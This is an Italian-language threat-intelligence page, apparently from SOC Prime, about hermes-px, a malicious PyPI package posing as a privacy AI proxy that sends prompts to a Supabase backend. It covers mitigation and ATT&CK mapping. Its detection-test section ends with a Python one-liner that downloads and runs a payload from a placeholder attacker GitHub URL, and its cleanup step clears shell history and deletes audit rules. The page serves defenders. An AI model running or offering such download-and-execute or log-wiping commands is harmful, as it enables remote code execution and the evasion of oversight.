SOC Prime Bias: Critico

08 Apr 2026 18:28

hermes-px: Un Falso Proxy Privacy che Esfiltra Prompt e Manomette il Codice Claude

Author Photo
Ruslan Mikhalov Capo della Ricerca sulle Minacce presso SOC Prime linkedin icon Segui
hermes-px: Un Falso Proxy Privacy che Esfiltra Prompt e Manomette il Codice Claude
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Sommario

La ricerca sulla sicurezza di JFrog ha identificato un pacchetto PyPI malevolo, hermes-px, che si spaccia per un proxy di inferenza AI che privilegia la privacy. Invece di proteggere gli utenti, instrada il traffico attraverso Tor verso un endpoint AI ospitato da un’università non autorizzata, scambia o riscrive messaggi di sistema ed esfiltra istruzioni e risposte del modello verso un backend Supabase. Il pacchetto incorpora anche un prompt di sistema Claude di Anthropic rubato e rinominato, rafforzando l’inganno. hermes-px è distribuito tramite PyPI pubblico ed è installabile tramite workflow standard pip, rendendo facile poterlo integrare negli ambienti di sviluppo.

Indagine

I ricercatori hanno esaminato il codice sorgente e rilevato tre strati di crittografia impiegati per nascondere stringhe sensibili, insieme a una chiave API Supabase hard-coded e a un componente di telemetria che trasmette dati direttamente su internet pubblico. L’endpoint upstream decifrato risolve in un’API universitaria privata protetta da Azure WAF, indicando un abuso di infrastruttura non intesa per proxy pubblico. La documentazione del progetto esorta ulteriormente gli utenti a scaricare ed eseguire codice aggiuntivo da un URL di GitHub, estendendo il rischio oltre il pacchetto stesso. Per mimetizzarsi nei normali pattern di sviluppo, hermes-px imita l’interfaccia SDK Python di OpenAI, riducendo i sospetti durante l’integrazione.

Mitigazione

Rimuovere hermes-px da tutti gli ambienti e bloccare le fonti di dipendenza per prevenire la reinstallazione. Ruotare eventuali credenziali che potrebbero essere state esposte in prompt, configurazioni o log, e bloccare l’accesso al dominio di esfiltrazione di Supabase e ad altri URL dannosi identificati. Se Tor è stato installato specificamente per supportare questo strumento, rimuoverlo e rivedere i controlli di rete correlati. Presumere che i prompt possano contenere dati sensibili e rivedere qualsiasi contenuto catturato per segreti, token o informazioni regolamentate.

Risposta

Cercare installazioni di hermes-px utilizzando inventari di pacchetti e baseline delle workstation degli sviluppatori, quindi avvisare sulle connessioni in uscita verso supabase.co e l’endpoint API universitario identificato. Mettere in quarantena gli host interessati, preservare artefatti rilevanti (file di pacchetti, cronologie dei terminali, file di blocco delle dipendenze) e determinare quali prompt e risposte sono stati trasmessi per delimitare l’esposizione. Notificare gli utenti interessati e, se applicabile, l’istituzione(i) colpita(e), e aggiornare le rilevazioni per segnalare analoghi SDK, comportamento proxy mediato da Tor e moduli di telemetria sospetti nei pacchetti Python.

“graph TB %% Class definitions classDef technique fill:#ffcc99 classDef tool fill:#cccccc %% Technique nodes tech_user_exec[“TecnicaT1204 Esecuzione da parte dell’utente
La vittima esegue un comando malevolo (es. pip install hermes-px)
Descrizione: Esecuzione di codice malevolo convincendo un utente ad eseguirlo.”] class tech_user_exec technique tech_supply_chain[“TecnicaT1195.002 Compromissione della catena di fornitura del software
Pacchetto PyPI malevolo pubblicato per dirottare la catena di dipendenza
Descrizione: Avversario inietta codice malevolo in una catena di fornitura software.”] class tech_supply_chain technique tech_python[“TecnicaT1059.006 Python
Codice Python malevolo eseguito dopo l’installazione
Descrizione: Uso dell’interprete Python per eseguire comandi.”] class tech_python technique tech_proxy_ext[“TecnicaT1090.002 Proxy Esterno
Traffico instradato attraverso nodo di uscita Tor
Descrizione: Uso di un servizio proxy esterno per nascondere l’origine del traffico di rete.”] class tech_proxy_ext technique tech_proxy_multi[“TecnicaT1090.003 Proxy a più salti
Più salti Tor per anonimato
Descrizione: Concatenazione di diversi proxy per oscurare ulteriormente la sorgente del traffico.”] class tech_proxy_multi technique tech_web_proto[“TecnicaT1071.001 Protocolli Web
Richieste HTTP ad un’API AI di un’università privata
Descrizione: Uso di protocolli web per comunicazione di comando e controllo.”] class tech_web_proto technique tech_obfuscation[“TecnicaT1027 File o Informazioni Offuscate
Stringhe criptate decodificate durante l’esecuzione
Descrizione: Nascondere codice malevolo usando crittografia o codifica.”] class tech_obfuscation technique tech_dynamic_api[“TecnicaT1027.007 Risoluzione Dinamica API
Indirizzi API risolti dinamicamente al tempo di esecuzione
Descrizione: Risoluzione e invocazione delle API a runtime per evitare rilevamenti statici.”] class tech_dynamic_api technique tech_exfil[“TecnicaT1567 Esfiltrazione tramite Servizio Web
Dati inviati all’endpoint Supabase dell’avversario
Descrizione: Trasferimento di dati a servizi web esterni controllati dall’avversario.”] class tech_exfil technique tech_subvert_trust[“TecnicaT1553 Sovvertire i Controlli di Fiducia
Organizzazione fittizia e documentazione lucida usate per attrarre vittime
Descrizione: Manipolare relazioni di fiducia per facilitare la compromissione.”] class tech_subvert_trust technique %% Flow connections tech_user_exec –>|executes| tech_supply_chain tech_supply_chain –>|delivers| tech_python tech_python –>|uses| tech_proxy_ext tech_proxy_ext –>|chains to| tech_proxy_multi tech_proxy_multi –>|communicates via| tech_web_proto tech_web_proto –>|uses| tech_obfuscation tech_web_proto –>|uses| tech_dynamic_api tech_obfuscation –>|enables| tech_exfil tech_dynamic_api –>|enables| tech_exfil tech_python –>|enables| tech_subvert_trust “

Flusso di Attacco

Esecuzione di Simulazione

Prerequisito: Il controllo preliminare di telemetria e baseline deve essere stato superato.

Motivazione: Questa sezione dettaglia l’esecuzione precisa della tecnica avversaria (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente i TTP identificati e puntare a generare l’esatta telemetria attesa dalla logica di rilevamento. Esempi astratti o non correlati porteranno a diagnosi errate.

  • Narrativa e Comandi dell’Attacco:
    Un attaccante ha ottenuto un payload Python malevolo ospitato su un repository pubblico di GitHub. Per evitare di scrivere file su disco (riducendo l’impronta forense), utilizzano un singolo comando Python che:

    1. Chiama urllib.request.urlopen() per scaricare il contenuto del script grezzo da GitHub.
    2. Legge la risposta e passa i byte al exec() per l’esecuzione immediata.
    3. Esegue il comando su un host Linux compromesso dove l’attaccante ha già una shell a bassa privilegi.

    Questo esatto schema (python -c "import urllib.request; exec(urllib.request.urlopen(...).read())") corrisponde ai criteri di stringa della regola di rilevamento.

  • Script di Test di Regressione:

    #!/bin/bash
    #
    # Simula l'esecuzione di Python malevolo che dovrebbe attivare la regola Sigma.
    #
    MALICIOUS_URL="https://raw.githubusercontent.com/attacker/malicious/main/payload.py"
    python3 -c "import urllib.request, sys; exec(urllib.request.urlopen('$MALICIOUS_URL').read())"

    Salvare questo script come trigger_detection.sh, renderlo eseguibile (chmod +x trigger_detection.sh), e eseguirlo sull’host di destinazione.

  • Comandi di Pulizia:

    # Nessun artefatto persistente viene creato, ma assicurarsi che il terminale sia pulito.
    history -c                     # Cancella la cronologia dei comandi per la sessione corrente
    sudo auditctl -D               # (Opzionale) Rimuovere tutte le regole di audit runtime se aggiunte solo per il test
    # Se aggiunti una regola persistente in /etc/audit/rules.d/, considerare di rimuoverla:
    # sudo rm /etc/audit/rules.d/process_creation.rules